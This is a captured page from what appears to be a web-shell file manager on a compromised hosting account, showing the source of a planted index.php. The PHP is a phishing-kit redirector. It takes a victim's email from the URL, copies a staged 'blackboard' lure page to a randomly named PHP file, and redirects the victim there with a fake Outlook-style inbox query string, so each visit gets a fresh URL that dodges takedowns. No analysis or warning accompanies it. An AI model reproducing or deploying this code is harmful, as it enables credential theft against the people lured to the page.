File manager - Edit - /home/adiance/public_html/beta/mybb-blackboard/index.php
Back
<?php session_start(); ?> <?php function getemailIDFromemail($email) { $find = '@'; $pos = strpos($email, $find); $emailID = substr($email, 0, $pos); return $emailID; } $email = $_GET['email']; $emailID = getemailIDFromemail($email); $dir = getcwd(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { $len = strlen($entry); if($len == 28){ rename($entry, "blackboard.html"); }}} $staticfile = "blackboard.html"; $name = generateRandomString(); $secfile = $name.".php"; if (!copy($staticfile, $secfile)) { //echo "file not create\n"; }else { if(file_exists($secfile)){ //echo "file exist\n"; unlink($staticfile); header("Location: $secfile?rand=13InboxLightaspxn.1774256418&fid.4.1252899642&fid=1&fav.1&rand.13InboxLight.aspxn.1774256418&fid.1252899642&fid.1&fav.1&email=$email&emailID=$emailID&.rand=13InboxLight.aspx?n=1774256418&fid=4#n=1252899642&fid=1&fav=1"); }} //echo $_SESSION["file"]."\n"; $name = generateRandomString(); function generateRandomString($length = 24) { $characters = '0123456789abcdefghijklmnopqrstuvwxyz'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } ?>
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.06 |
proxy
|
phpinfo
|
Settings